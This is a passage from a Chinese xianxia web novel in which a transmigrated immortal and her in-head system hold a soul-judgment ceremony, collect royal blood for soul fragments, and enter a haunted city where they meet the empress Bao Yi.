诏罪当日,折羡戴上那张浮纹镶金的面具,穿了一身金色折边绣纹的白袍。下方首位站着的是离安皇帝,而后依次是妃嫔、皇子、大臣。另一方站着离渊国和离奚国派来的代表。
在平安观外,是数不清的百姓,他们有些是从另外两个国家赶来的,有些是离安本地人,都聚在一起面对着平安观。
他们不知道这其实是一场关于人性和公正的审判,是欠不公者的一个答案。
折羡将玉牌置于庞大的乾坤鼎前,灵气流转,玉牌在鼎上方悬浮放大成一方天书,她手里拿着一支毛笔,每下一笔,留影石里的画面就少一点,佥麟的身影便弱掉一分,相应的,那些灵气裹挟的福德和罪证如同冬日里的雪花,落到每一个人身上,落到每一个启灵之物身上,它们在享受卞青死前所积攒的福德的同时,又承受了那些害死卞青带来自身利益的人的鞭笞。
在所有过去的一切被画上句号时,佥麟的□□连同他的魂灵也消散在这个世界,而那些被他杀害了的三国大臣和与之勾结的奸邪之恶的魂灵,都被拉到了玉牌下方,接受六界的审判,无声的怒骂和谴责并不会为他们造成多少压力,他们就算死后也不会轻易悔改。
在这等待判决的期间,折羡见到了天道。
天道旨意很明确,要把这些魂灵分散判给六界。
折羡细想了一下,建议道:“其实我觉得婺哀山是个不错的归处。”
天道:“婺哀山腐尸遍布,且都是没有魂灵之物的去处,其中有些尚可纠正。”
“培养一个纯善之灵并不是一件简单的事,但若要是逼一个本就心术不正的灵去走邪道,那就简单多了。”
天道:“这世间缺的不是正义和邪恶,二者本身就是共生存在的,如若你为了绝对的公平铲除全部罪恶,打破平衡只会加速更多的不公。”
折羡愣住了,可她原来的教育环境告诉她的就是,是非对错必须明确,不论这个人本身有没有悔过或是做了什么别的事去弥补那些过错,可错了就是错了。
她捏着手腕上的透明色镯子,下方玉牌上的条条框框还在闪烁,在这个位置,她能亲眼看到众生被落下的细金滋养着,他们之中或许有跟那些死去的人一样是坏蛋。只等着大坏蛋死去后隐去自己的身形,默默干坏事。坏灵从来不会承认自己是坏灵。
她坚持道:“请以恶行处之。”
折羡说这句话时态度强硬,且她使了个小心眼子,把这句话传给了外面的那些人类,包括事不关己的其他生灵。
久颜听到了那句话,虽不知是何意,但清羕仙君毕竟在这事上帮了他,他也跟着接话:“请以恶行处之。”
众人你看看我我看看你,有着三皇子打头阵,其他人也跟着行礼喊道:“请以恶行处之。”
“请以恶行处之!”
这句话在大陆上响彻,振聋发聩,一声一声,喊得情绪高涨,听得心情澎湃。
被众生压力了的天道:“……”
“罢了,这次之后,吾盼尔等得偿所愿。”
流光散去,善意与罪恶又回到魂灵深处,他们走在路上询问谁是卞青,谁又是那些大臣的亲人朋友,文人墨客甚至是口诛笔伐。
而在那之后不久,这件事如春天来临,雪化后,一切消散。
桑越站在不远处,这是他第一次见到这样的折羡,高贵,神秘,透着一丝别样的气息,整个人散发着光辉,在一众人群里,一眼就能看到。
法事结束,桑越上前,折羡今日消耗了太多灵气,又额外花费了一点时间同天道讨价还价,最主要的是,她利用玉牌散去的那句话,是违天道之意的,因此还遭到了不小的反噬。刚落地差点没稳住身形。
久颜刚抬脚想去扶她,就被不知道从哪窜出来的桑越抢先一步。
他抱着剑没说话,眼神看向了另一旁,那里抱钰瞪着眼睛满脸怒火。
抱钰他姐知道这事的前因后果时本来想亲自来这一趟,结果同时收到离奚国君的加密信函,连夜去了离奚。她姐虽是女皇,后宫一个男人都没
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有,也没有皇嗣,所以这个代表就落到了他头上。
其实他姐领养了一个小孩,才四岁,天天跟看命根子似的,反正他是不敢叫那四岁孩子来替他。
见到折羡是毫不意外的,毕竟信都是她的落款,上面还印着离安国的专属密函。让他没想到的是,折羡是以离安国师的身份、清羕仙君的名义举办的这一场大典。
桑越揽着折羡,低声说道:“需要借力的话可以靠着我走。”
“没事。”
折羡脸上的面具还没摘,露出的两只眼睛中有一只是异色,看人总会带着莫名的疏离感,她看向了一旁张牙舞爪的抱钰,冲他露出一个不明显的笑以示打招呼。
抱钰“噌”的一下就要过来,想到折羡的武力值又转了个弯勾上久颜的脖子。
小声问他:“你什么时候跟她关系这般好了?”
久颜摸了摸鼻子,道:“她帮了我,也……帮了离安。”
“可她害过的人更多!”
“你什么时候也成了道听途说的人了?”久颜停下脚步,侧头看他。
抱钰放下手,声音更小了,咕哝道:“我姐……她害过我姐。”
“什么?”
“没事,走吧走吧。这件事她总归是没做错的。”抱钰再次钩住他脖子,往前走,又停下,大惊道:“等等!她为什么要帮你?”
久颜没说话,一声不吭往前走。抱钰一直缠着他,大有不问到原因不罢休的地步。
良久过后,久颜才不确定地开口道:“大概,是我对她而言,有用吧。”
他能从折羡看他的眼神中,读出一种十分干脆的情绪——对待目标的势在必得。
而且折羡还很明确很有意的在传达她的目的,仿佛就是为了让他提前清楚。
他摇了摇头,任由抱钰拉着他往酒楼奔去。
^^
桑越带着折羡回了小院,她连最喜爱的饭都没吃,就陷入深度的睡眠。
睡觉对于其他修行者来说或许并没有什么用,对她这个爱摆烂的人来说,就是最好恢复能量的方式。
这一觉睡得很死,等她再次醒来,已经是几天后。
桑越一直守着她,时不时还要探一探她的气息。
她满格状态的从床上爬起来,开始想念自己的大食物。
“我睡了多久?”
桑越看到她醒了,眼里的黯淡在顷刻间变成了星星点点的微光,那里是装着的是活灵活现的折羡。
他说:“五天。”
折羡手移到肚子上,感觉自己真饿得不行了,身心都饿,所以她对桑越道:“辛苦你照顾我了,同伴。”
“我现在要去酒楼吃个饭,需要我给你带什么东西吗?”
桑越对同伴一词不置可否,只是挑眉看她:“不带我一起去吗仙君?”
“你也五天没吃饭?”折羡觉得自己罪过大了,同伴照顾她五天都没吃饭,现在自己还只想着一个人去吃。
桑越:“……”
他现在可以是五天没吃饭。
他一直不吃都可以。
反正饿不死。
他也不是很注重口腹之欲。
如果折羡非要邀请他的话,他也很乐意去吃。
15. 天才正剑
酒楼还是那个酒楼,菜也是那些菜,两个人已经从契约关系升级为契约同伴关系。可想而知,这段时日的经历短暂地让彼此对对方有了新的认知。
折羡吃好喝好,感觉自己精神状态回笼不少,那些因违天道之意而亏损的灵气已尽数恢复。
鉴于她懒散的心态和不够积极的工作态度,隐若自己按照精花所需魂灵的要求在人界寻找相关的任务对象,准备在折羡拿下久颜时便告知她下一个任务对象的大致方位,这样减少了二人漫无目的在六界乱窜什么也没捞到的空余时间。
是针对折羡这种摆烂式做任务被迫自己工作的好系统一枚。
主要还是怕折羡觉得麻烦撂挑子不干。
在完美解决佥麟这件事后,折羡提出了她的人情邀约。
“佥麟和卞青的事解决了,我也要离开离安了。”她道。
“去哪想好了吗?”久颜和赖在一旁不肯离开的抱钰都睁大了眼睛。
“去离奚。”隐若的小童音在脑海叫唤,一个红色小点就出现在了折羡脑子里。
折羡扬眉,没回应隐若,对二人道:“离奚。”
“我一直有个疑问,找到所需魂灵带回主神空间,而祂当时没有明说任务对象需不需要活着,是我下意识以为要活的。那你说我现在把他杀了取了魂灵直接扔回主神空间是不是就算任务进度加一?”
折羡细想了一下才发现她之前进入了误区,她那时候并不想残杀生灵,只是想着把人骗了跟她走便是,可这样谁知道有多少个任务对象,她难道要带着一群人浩浩荡荡去找下一个任务对象?
那场面说不出的怪异。
而且按照目前出场的久颜来看都是人界皇子的身份,那说不好下一个任务对象身份更高,也不是每一个她都能如法炮制,但要是杀了生取,岂不是简单得多。
“呃。”隐若也沉默了,如此看来,这段时间做的所有事跟任务毫无关系,甚至游离于任务对象之外的时日更多。
“可……主神空间已经锁了,现在无法进去。”神父那边已经单方面跟它断联了。
“而且,我们不能随意杀生,他没有犯六界条约的任何一条,你强行杀他只能让对方魂灵破散,你什么也得不到的,主人。”
折羡忍不住在心里嗤笑一声,压下那一点想把主神胖揍一顿的想法,道:“那你说个别的法子我听听。”
隐若略微轻咳两声,摆上系统的架子,慢悠悠道:“我还真有个办法。”
“神父当时只说要带回魂灵,没说要整个带回,咱们取一些来放入精花中就行了,而且不影响任务对象活着。如若都找齐后精花能量没满,咱们再顺着精花中的魂灵气息去找就简单多了。”
“那我问你,六界条约不能残害生灵的性命,而我们的任务是收集魂灵温养精花,这难道不是自相矛盾吗?”之前还十分抵抗这个任务的折羡终于明白了问题所在,这个任务和六界条约根本就是相悖的。
“……”隐若似乎也想到了这一点,突然就说不出话来。
“主人,你活着就行。”来此做任务只是为了你自己。
折羡张了张嘴,最终还是按照隐若的法子向久颜道:“听说离安皇室的血都很宝贵,不知道我能不能取一滴你的血。”
抱钰搂着久颜的肩膀晃来晃去地手僵在半空,大叫:“折羡!你要他血?我也是皇室血脉,你怎么不要我的?!”
久颜觑了他一眼:“……”
“这个当作人情抵消。”她要借助这滴血抽一丝魂灵出来。
修行之人达到灵气阶段都能魂灵肉身共融,虽说人界修行到灵气阶段的少之又少,可还是有意外的。
久颜没想到折羡帮了那么大一个忙,而想从他这得到的只是一滴血,是他狭隘,还在想要是她要那些修行灵物灵器就算宝贵他也全弄来。或者金银财宝灵石这些简单的,对他来说都没什么。
他抽出自己的佩剑,利落地在手上划下一刀,鲜红的血顿时从掌心冒出。
“我的血若对仙君有用,需要多少跟我说即可。”
折羡手腕的镯子在发烫,血和外皮组织不同,这是同魂灵羁绊最深的,折羡的灵气将那血珠圈在里面,她多加了一道咒语,那血变得透明了些,在小气泡中渐渐变得活跃起来。
抱钰戳了戳小气泡,觉得好玩,又戳了戳,他手臂碰了碰久颜:“哎,你这小血珠还挺有个性,在这里面这么活跃,看来很喜欢我们仙君大人啊。”
久颜五指用力,手上的伤口渐渐变小,只剩一道浅粉色的伤痕。他抿着唇,半响才道:“也许吧。”
折羡左手收了气泡,袖子遮住手腕,气泡在碰到手镯时精花闪了一下,那滴血珠被吸了进去。
脑海传来一道声音:“恭喜获得魂灵碎片一——天才正剑。”
之一。
那朵小的花苞在吸收时悄然绽放,上方落着一副极小的画像,画像在展开时“天才正剑”的光芒遮住了画上的人,等光芒散去,画像已经缩回花苞里。
久颜和抱钰都看不到的虚空中,透明手镯变回本体,九朵不同形状的花苞融合在一起,成了精花。其中一朵花的花瓣在血珠浸上时亮起。
折羡勾着唇,看向久颜和抱钰:“那,二位,我们就此别过,后会有期。”
久颜拿着剑,看向折羡离去的方向,有些怅然,总觉得漏了些什么,可怎么都想不起来。
他的目光移到那柄泛寒光的剑,剑柄处刻着“敛苍”二字,是他这把剑的名字,而此时那剑上的字在阳光下突然浮上来,下方似乎盖住了另一个字,他想看仔细点,刚一凑近,“敛苍”二字沉下去,恢复平静。久颜怔愣住,对着旁边鬼哭狼嚎地抱钰道:“抱钰,她真的跟我记忆中那个人很像。”
抱钰止住哭嚎,眨着眼问了一遍:“哪个人?”
“没事,你快回离渊吧。”
^^
“收拾一下,准备上路。”折羡把之前住客栈买的东西全丢进了储灵袋,然后又去酒楼买了难以计数的吃食,再绕道买了几身衣物。以及别的所需用品,总之灵气可以解决的,不可以解决的她都补充完毕,接着一个闪身来了婺哀山,通知桑越启程。
还是瞬移术好用,比徒步走路快多了,而且也不会遇到一些难缠的腐尸。
桑越那次之后,折羡仔细翻着《大陆史》,把上面关于修行的术法全部学完了,包括一些邪门的不常见的她都学了个遍,算不得精修,勉强能对付就行。
“这般着急,仙君要带我去哪啊?”桑越本是躺在院子里休息,假寐没一会儿便闻到了熟悉的气味,他放松神经,懒懒地瘫在躺椅上。
“去魔之域都。”折羡看到桑越那半眯着的眸子颤了颤,缓缓睁开,浓密的睫毛下是黑葡萄般的眼睛,左边眉眼处的那颗痣恰到好处中和了上挑显得凶狠的那双眼睛,
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转而看上去温和又好骗。
待善一鸰从屋内出来,就听到了折羡那句话。脸部动作多得可以去演川剧了。
“仙君怎么想去哪里就去哪里,好生厉害。”桑越语气里多是羡慕,听到折羡耳朵里就成了“这人好装,以为自己是谁”。
折羡的任务完成了?/1,她现在心情好,不跟这个披着人皮的魔计较,不代表她就接受了这份阴阳,她弹了弹椅子,那檀木制成的椅子登时摇晃起来,桑越这会儿不似先前要死不活的,闪身落到一旁,正要说点什么,折羡含着笑看他,略带讥讽:“你现在不也是吗?”
去哪不就是挪一挪屁股的事。
桑越愣了一下才反应过来,也跟着笑了两声:“善一鸰已经收拾完东西了,现下就可以启程。”
杵在一旁当透明台柱子的人终于被点名,他拍了拍手里的袋子,挂在腰间,回禀道:“已准备妥当。”
“那走吧。”末了折羡有些飘忽的声音在空中响起:“我突然发现,你好像挺爱笑的。”
三人正好瞬移到一堵墙外,善一鸰听到这话,一不留神,整个人四仰八叉撞到墙上,桑越往旁边挪了一步,看上去有些嫌弃,扯过折羡就加快了进程,把善一鸰甩在后头。
努力想把自己扣下来的善一鸰:“……”
仿佛听到了天大笑话的善一鸰:“……”
零帧起手直接被丢弃的善一鸰:“……”
他现在就想要回域都换班!!!
离奚国线城城外。
桑越松了抓着折羡的手,侧身和她对立而站,略显疲惫的眼微微掀起,说出口的声色也有些弱:“不是说要去域都?”
折羡拍了一颗丹药进桑越体内,淡声反问道:“你很期待?”
这里外围寸草不生,城门上则是爬满了各种蠕虫,放眼望去空无一人,吹起的风也带着阴冷,许是少了草木的原因,那风吹来时低呜呜的,又无比躁动。
折羡打量了一番这里的怪异景象,灵气从指尖泻出,绕着整座城溜了一圈,最后落回折羡手里时萎靡不少,能回来,说明这里还有活人。
“这地方有很多鬼的魂灵。”桑越一招不慎,站在旁边吸了一口无比恶心的鬼气,熏得他忍不住往折羡那边靠了靠。喉咙仿佛被这冷气划破了,吐出的字音也气若游丝,“仙君,我有点怕。要不还是回去吧。”
封了嗅觉闻不到折羡的气息他不安心,不封又得吸入乱七八糟的各种臭哄的味道,桑越那张波澜不惊的脸上多了些难言的情绪。
没搭理他后面那句莫名其妙的的话,折羡继续道:“看来活人不多了,先进去再说。”
“嗯。”桑越不甚在意,手抵着唇又轻咳两声。
那些蠕虫就像是城门的守护士,折羡和桑越一靠近,它们就变大将门堵住,还有几个分泌出小身体几秒钟便召来更多的四面八方的蠕动型怪物。
等那些蠕动怪物靠近,折羡才分辨出那是人的不同部位,被随意拼凑在一起,有些是动物,它们均匀地被分成了同等大小,下半身被缠成长条椭圆形的蠕动类虫子,上半身则是找了某个眼睛或耳朵或脚趾做头。
还没等折羡出手,桑越一袖子将这些东西挥开,他飞到城门上将手里的蓝色火焰撒在装烛火的灯台上,瞬时整个线城都亮了起来,他撤回来,冲折羡道:“不对。它们身上同时具备人的气息和鬼的气息。”
“你说什么?”
16. 鸮铭之意
“这是一些专门被修炼出来的邪祟,脑袋上用的是人体部位,而下半身用的是,咳咳,用的是死物拼接起来的。”桑越咳嗽越来越频繁,他在空中抓了抓,随意扯来几只类似于飞蛾的翅膀带光的虫子,那翅膀闪着的光同远处城墙上的灯烛一样,抛出去正好落到那些蠕虫中间,将它们完整的形状照了出来。
“这是……”折羡脑海里突然蹦出一个名字:“幽冥蛾。”
幽冥蛾,是冥界很常见的一种幽灵,它的主要作用是照明和指路,所以它的职责是在生灵死后而魂形尚存,但意识浅薄无法分清自己是个什么东西,在各界乱窜时,将其带回冥界交给黑白无常。
冥界是六界中比较特殊的存在,一般其他五界在修行和生活上是互不干扰的,但生死这一趴,却是和冥界息息相关。
冥界容纳的是所有亡灵的最终归处和未来去处,而一般人类死后的魂会被称为鬼。所以在人类的称呼中,冥界也被小众称为鬼界,当然这只是冥界很小一部分的存在。
关于幽冥蛾的介绍,折羡是在那本史册里看到的,只是很疑惑这里为什么会出现这个东西,“它怎么会出现在这里?”
还有一点,“你一副抓自家手下的自来熟方式是怎么回事?”
“你说这个?”桑越又凭空抓了几只扔到了那些虫子中间,看到幽冥蛾的光将蠕虫照得不得动弹,后牵引着它们往一处地方去的时候才缓了口气,声线也恢复如初:“我点灯的时候发现的。它们出现在这里就是为了带走那些蠕虫,我们这是恰巧碰上了。”
“走吧,现在可以进去了。”
紧赶慢赶的,善一鸰也到了,看到那些杂乱中又透着齐整的蠕虫时头皮发麻,忍不住扶着墙抓住一只幽冥蛾平复心绪。
被抓住的蛾扑棱着翅膀,黄光落到善一鸰指间,将他手烫得黢黑,他连忙松开,忍不住骂道:“嘿!你这小东西,上次见面还不是这态度。”
“上次?你之前见过幽冥蛾?”折羡刚踏进这座城就觉出点不对劲,想拉着二人退出去,那城门原有蠕虫把守着不好进,蠕虫被带走,他们进了却发现更难出。
门早已在三人迈进的那一刻关上了,且三人一动眼前的场景就变幻了模样。
那头的善一鸰还没发现不对,接着折羡的话道:“那还是我同主君上次去冥界的时候的事了……”
话未说完,手臂被折羡猛地一拽,他吃痛地叫出声:“痛痛——”
然后就见到他们此刻所在的位置,一间家具摆设齐全、装潢过度的房间。
“!这是什么地方?”
折羡抽出瓷玉剑朝门上劈去,那门看着豪华贵气,实则内里不实,反正善一鸰见折羡劈了一下就“轰”地一声倒塌掉。
桑越跟在折羡身后踏了出去,外面也如那房间一般,处处透着华丽,无论是建筑亦或是旁边的池子,看上去雅致中透着些许过度装饰的怪诞质感。
线城在离奚是一个存在感极低的小城,并不算富裕,甚至是有点穷。
如今这样的宛如仙境般的建造,上位者会欣慰,在其地的民众也求之不得,然而这是一座可能一个活人都不存在的死城。
那就有点说不通了。
折羡的灵气萦绕在上空某个临界处,能明显感觉到这里有一个拦着他们出去的法阵。在进城门后踩到某个阵点不知道给传哪来了。
现在看上去就像是一座镶了金的平常无奇的宅邸,折羡试着飞到高处查看这宅邸有多大,就被一道无形的波浪弹了回来。
“这里有阵,先找阵眼吧。”
“用宅子布阵,我知道阵眼在哪。”桑越不知又从哪里拿了一个小型乐器,在手里把玩,立在一旁脸上也没什么表情。
“对对对。主君对结界阵法什么的最是了解了。”善一鸰已经从虚幻场景里回过神,眼睛一眨不眨看着折羡,生怕说慢了这位就自己把阵破了。
桑越瞥了他一眼,善一鸰退到后面不再出声。
正要试试上次学的破阵之法的折羡也让了一步,“你来。”
桑越抬脚,在他站着的那块地方用力一锤,地面凹下去一块,接着折羡就看到,原本华丽精致的一砖一瓦,顷刻间退了色,暗淡下来,那层包裹着金玉的皮就这样破开,上空悬挂的太阳也被随之而来的黑暗遮住,折羡挑眉看他。
“这个地方构造奇特,利用了惯性的反思维,实际上没有什么所谓的阵眼,就是靠这座城里人死后的死气聚起来的一层罩子,一般修建宅院的主人家都会请风水师看方位,那时你一剑劈开那扇门就是例子,门的封禁是困住某一个人的魂灵,因而可直接破,宅院困住的是一大类,这其中渴求死后入土为安的居多,所以它的落脚点在地面。”地面任意一处都能作为承载体。
原来邪修的观察力如此犀利。
没了禁锢,折羡再次飞到上空,此时她才看清这座城的内置分布,他们目前所在的位置,是在东方位靠左,有且只有这里没有亮起灯光,其他各处外围的屋檐都挂了灯烛,同桑越在城外点燃的别无二致。
那些灯十分有规律的分布在其他三个方位,到了他们这突兀地缺了一角。
“这座城,被死气圈起来造了一层富丽堂皇的外衣。”
桑越手里不知何时多出来一个乐器,他手指轻轻一挑,乐器发出一个不明显的音。
善一鸰打了个喷嚏,化成鹡鸰飞到上空转了一圈,发出一声低鸣,叫声清脆,半响引来零个活的生物。
“……”
不死心的他飞得更远,在要靠近其他光源时被弹了回来,他发出一声怒吼,这次声音嘶哑,体型也变得更大。
不一会儿,西方位正中的位置灯烛灭了,飞上来一只雪白带斑的鸟。
两只鸟在空中盘旋鸣叫,看上去交流十分友好。
折羡看到桑越又漫不经心拨了一下手里的乐器,善一鸰飞回来落到地上,半跪在他面前汇报:“每一个灯烛下都有阵法,它们都连接在同一个地方,那里,还有活人。”
“西方位来的人是离渊那边的,比我们早到三日。”
此时的善一鸰,比起平时的不着调,有了作为得力手下该有的靠谱。
折羡在脑海里唤隐若:“任务对象在西方位?”
“应该。”
“?”
“得见到了才能确定。”隐若高冷地电子音在折羡脑子里转悠,她转身询问桑越:“你身体上的伤怎么样了?”
“嗯?”桑越温凉的桑音在夜里显得更冷了,“应该,挺好的?”
下一瞬折羡拉起他飞到上空,直奔着那个灭了灯的方位而去。
一路上果然碰到了很多阵法的阻挡,按照桑越前面的做法自然是下去撬地破阵,然而折羡碰到阻挡就直接提剑硬破,两人愣是在空中来回穿梭,遇到回弹折羡就把桑越推出去。
被迫拿起乐器挑拨弦的桑越:“……”
折羡和桑越从上空落到那处院子,和那里的十多个人来了个深情对视。
“……”
“咔擦”一声,一把木椅被人脚下的大力踩烂,四分五裂,折羡朝那人看去。
那人原是一只脚踩在木椅上,此时那只腿稍稍弯曲,暗纹流动的鞋子沾上了些木屑,玄色衣摆处绣着明黄色的图案,往上看去,那人侧着脸,下颌清晰明显,鼻梁也高挺,恰在此时,对方扭头看过来,那双眼睛更凶狠,带着上位者的审视和威严。就是瞧着有些眼熟,那头雪白的发丝垂在肩侧,甚至连冷冽的眉眼是都雪白的。
下一秒,那人走了过来,站在折羡面前。
桑越不动声色往前一步,折羡绕过他,又盯着那人看了几秒,脑子里逐渐冒出一张曾有过一面之缘的脸。
还没等折羡说出什么,那人拔出手中的短刀就砍了过来,“真是好久不见啊清羕仙君。”
折羡自然不会在原地等着挨打,一旁刚要替她挡下攻击的桑越被折羡一掌拍开,转头迎上了那人的对战。
两人打着打着就飞到了上空,折羡拉住她,玉牌抵着那人的下巴,刚准备说点什么,隐若的电子音随之而来:“提示——提示——任务对象出现。”
折羡勾起一个笑,打都打了,那就顺带收点利息。玉牌在她手里转了个圈,瞬间变成了一把匕首,再次和对面的人交锋。
下面那人带来的手下刚有动作,就被善一鸰搅
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合着困住,桑越靠在一旁的柱子上咳嗽,手里的乐器又跳了一个音节。“嗡——”的一声,便消失殆尽。
这头的折羡和白发女打得有来有回,在隐若确认任务对象的那一瞬间,她就准备来个强取豪夺。
那个明黄色的图案在她眼前一晃而过,她脑子里突然蹦出抱钰那张脸。
这是皇室专有的标记,而且按照抱钰那个图案级别都已经是王爷级别,这人的图案等级比他还高,那就只有一个答案,此人是离渊皇帝——抱意。
竟然是她。
怪不得一上来就动手。她本人跟抱意没什么深仇大恨,但是承漾貌似有,为什么说是貌似,当然是因为,关于这段记忆,承漾这里有点但不多,她们之间具体发生了什么,因何而成为仇人,承漾的记忆中没提及。
奇怪的是,这张脸她曾在除承漾外的记忆中见过。
抱意周身戾气很重,白色长眉微扬,嘴唇出现不正常的白霜,仅是顿了一刹那,折羡的匕首已至她胸前,刚准备给抱意来一刀取血的折羡突然想到自己这玩意儿跟生化武器似的,又将匕首收起以另一种抓人的方式拧着抱意的手腕,将抱意手里的刀硬生生用蛮力扭着划出长长一条口子。
鲜血猛地往下落,滴到了其中一个被打趴在地仰着头观察局势的人的脸上,他颤着嘴唇喊道:“陛下……”
折羡拖着人下来时顺势也用灵气裹了一滴大的握在手中。而抱意在折羡抓住她手带她下来时忽然停住不动,她垂着眼去看手上那条长的伤疤,视线不知不觉移到了折羡那边,一时没吭声。
而被打倒的那群人则爬向了抱意,开始放马后炮:
“陛下你怎么样?你们是什么人?为何要伤我离渊君主?”
“你们可知道,谋害君主是要受天罚的!”
“你简直大胆!狂妄之极!”
“……”
七嘴八舌地说些没什么技术含量的话,打不过还嘴无力,折羡听得都有些乏味了。
一直没吭声的抱意突然给了那群人一脚,她站在那里,冷冷盯着趴在地上的人,眼底的威压倾泻,“都给我闭嘴。”
“抱歉,给仙君赔礼了。”她没有去问折羡和承漾是什么关系,也没透露出别的,只是在反应过来后向现在的折羡介绍自己:“好久不见,我叫抱意。”
她猜,折羡应该在她出手时就认出她了。
抱意,不仅是离渊皇帝,也是那只曾经被承漾救回来的雪鸮。
“见面礼很不错,我很喜欢。”折羡松开她,眼里含着笑,和当时顶着柳欢珩身体却眼中带笑的她如出一辙,这次,她用了一张让抱意永远都忘不掉的脸。
折羡在心底拷问隐若为什么不通知任务进度,还在感叹还能这样做任务的隐若赶紧翻出播报器。
“嘀——”那滴血落进了手镯之中,虚空之下精花中的一朵再次亮起,那道电子音依旧冷硬:“恭喜获得魂灵碎片一——鸮铭之意。”
竟然跟久颜那时的情况差不多。
鸮铭之意。
她突然冷笑一声,质问道:“阿若,抱意这个人,好像不是第一次出场吧?”
“主人,当时你都没听到她的名字,而且那次顶多算你乱入,幸好时长很短,没对后来造成太大的影响。”隐若现在是不敢随意让折羡带着毒晕过去了,它发现折羡的魂灵有些奇怪,一个不小心就可能被拉入另一段时空。
而且随机性极高,它找起来太麻烦,穿回过去有风险,穿到未来更是防不胜防啊。更何况,折羡是个最不可控因素,这人随性起来不管不顾的。
所以,它,伟大的神父所创造的最聪明的统,必须承担起这个艰巨的任务,必须杜绝折羡去到乱七八糟的时空。
“那你怎么不早说,在离渊就死缠烂打抱钰好了,结果拖了这么久。”折羡不爱做任务,不代表她就爱走多余的路。
“那时候真不知道呢,我也是刚才知道的。”隐若无辜。
“你可真是好样的。”
折羡笑不答眼底,知道抱意是认出她来了,也仅仅是认出她是那个曾经在柳欢珩身体里出现过一两次的孤魂。
她也没想隐瞒。
17. 线城厉鬼
能再次见到折羡对抱意来说是意外之喜。尽管这个意外之喜来得太过突兀且不合理。
现在的她是雪鸮,又不是雪鸮。
当年,她被承漾救回来后就被柳欢珩抓走关起来了,同她一样命运的还有一只兔子和一条蛇。柳欢珩是个实打实的变态,不仅控制欲强,手段还极其残忍,折磨它们这几个在他看来是畜生的东西,大大地激起了他内里的亢奋情绪。而救它们回来的承漾,从那之后它们再也没见过。
柳欢珩隔段时间就提着一些吃食过来,在吃东西前,它们会被他先鞭刑抽打一遍。有时候给的药也带着毒,直到那次他又来到洞穴里,抱意发现,这个‘柳欢珩’,气息突然就变了。
但她看不清他体内藏着的那人的真身,只能靠气息辨别。
鸟类对气味和神态的感知度一向很高,有时候能一眼辨别潜在危险。
那个‘柳欢珩’救了她,还给她体内放了一丝屏蔽搜寻的灵印。可当她想感谢那人时,她又发现,原来的柳欢珩回来了。
她在霄欢宗等了好几年,才终于再见到那个‘柳欢珩’。
这次她化成人形出现在了折羡面前,还跟折羡说了好几句话,本来已经把名字说出去了,谁知道等待她的又是柳欢珩那个恶心的嘴脸,她直接一脚踹过去,把人踹晕后才离开。
后来她信守承诺跟在承漾身边直到承漾把柳欢珩碎成肉片才放心离去。柳欢珩死后,她心知或许当时只出现了两次的人再也不会像天神降临这般突然现身,也不再执着于等待。
恰巧她体内支撑她成为人形的时日无多,她又有惩罚在身,便果断离开人界回到妖界,漫无目的飘了好多年,终于等到去冥界领罚的日子,投胎成了离渊皇子。
人类皇室的血可隐藏二十年的妖气,二十年后,她体内的妖族血脉觉醒,那时候她刚登帝不久,势力并不稳固,再加上当时离渊是三国内最弱的,随时有可能被另外两国吞掉,这在人界本就是很常见的事,为了让离渊更好发展,能更快对敌,她联系了此时名声已经不怎么样的承漾。
抱意恳请她能来协助离渊稳固目前的三国局势。
清羕仙君踏雪而来,站在清冷肃烈的宫殿内,浑身散发着浓浓的仙气,眼底一片平静,看不出任何情绪变化。
看上去如此正常的一个飞升成功的人,握着的剑上满是血,那些仙气也在顷刻间成了杀意。
也许是觉得她身上有些不干净,在靠近抱意时将自己圈了起来,站在圈里,她又有些高兴,承漾说:“我找到她了。”
“抱意,我找到复活她的办法了。”那双眼睛里满是兴奋和执着,还透着一丝不易察觉的偏激。
“抱意,抱歉,这次没办法帮你对付人界这些事了,你不会阻止我的吧?你不是也想找到她吗?”
大立二十三年初,大雪。
抱意和承漾打了一架。
那是第一次她赢了承漾。
也是最后一次,那之后,她再也没见过承漾。
如今,她是个有着人族和妖族双体血脉的怪物。
在看到折羡第一眼时她以为是承漾,过招之后才惊觉,这不是承漾,却又很熟悉。
多年前折羡留在抱意那里的灵气她并没有毁掉,留存至今。
在折羡动用灵气时,她认出来了。
还没等二人说点什么,一旁的咳嗽声打断了两人多余的心思,桑越拿开手,上面一片红,折羡立即掏了一颗灵丹塞进他嘴里。
“怎么回事?”她手搭在桑越腕上,将灵丹化气融入了他体内。
那会儿问他不是说好了吗,怎的突然又急转直下。一个魔君,缺了几百年灵气后这般弱,她是不是不应该把生死印绑在这人身上,目前除了拖油瓶体质,完全看不出能给她带来什么好处。
刚这样想着,桑越拿出绢帕擦了擦手,低声道:“没事,刚才我分出一丝神识去外面,找到了被困的那些人。外面有很多厉鬼围着,我就先回来了。”
还是有点用处。
她紧抿着唇,好一会儿才开口:“你不去等会儿也能找到的。我的意思是,先注意自身安全,你要是被困在那里,我要多救一个人。”
“这座城太过古怪,你们来了三天没想过出去查探吗?”折羡喂了药便没看桑越,拿剑戳了戳地板,这里的阵法已经破了,单从地板也看不出来什么。
在她低头看地板时,桑越垂眸,和另一侧扫视过来的眼神对上,抱意半挑着眉毛,手指点在某处,正想和他传音,就听到折羡那句话,她的表情空白了一瞬,随即苦涩一笑,“我们来的时候跟现在有些不同。”
桑越依旧垂着眸子,原本平直的嘴角往下压了一点。
“三天前,这里城门处还有人,我们是跟着离奚的官员一起进来的。离奚国君来信给我,说线城这边出了妖物。”
折羡心下了然,人类地盘来了妖,而抱意身份又特殊,自是不会允许妖物在人界反乱,那也不难解释抱意会亲自出现在这里。
“第一天县令就带着人去作乱的地方了解情况,他们去了之后却没回来,我便派了亲近的手下顺着他们前去的位置找人,然而依旧是有去无回。”抱意说完这句话周身戾气更重,没压住怒火又拍烂了一张桌子。
跟在抱意身边的那几个人战战兢兢,刚爬起来又立马跪了下去,“陛下……”
抱意没理他们,平复了心情后继续说道:“虽然知道这背后有阴谋,第二天我还是带着人亲自去了,等进了那里我才知道,根本不是什么妖物作祟,线城一半以上的人都成了厉鬼。”
“是鬼在作乱?”
“这就是奇怪之处。”抱意摇了摇头,她突然抬起手,用灵气在地上画了一个复杂的纹案,“我在那些厉鬼的脖颈处看到了这个。”
“他们有非常强的自我意识,并且同活着的人之间有很强的联系。”说到这里,她故意看了一眼桑越。
“这是魔族的专属印记,但这里并没有魔族的气息。”桑越音色很淡,看上去丝毫没放在心上,也没觉得在这里出现魔息有什么不对。
魔界那么大,搞不好就偷溜出来几个不怕死的,再加上他都多少年没回去了。
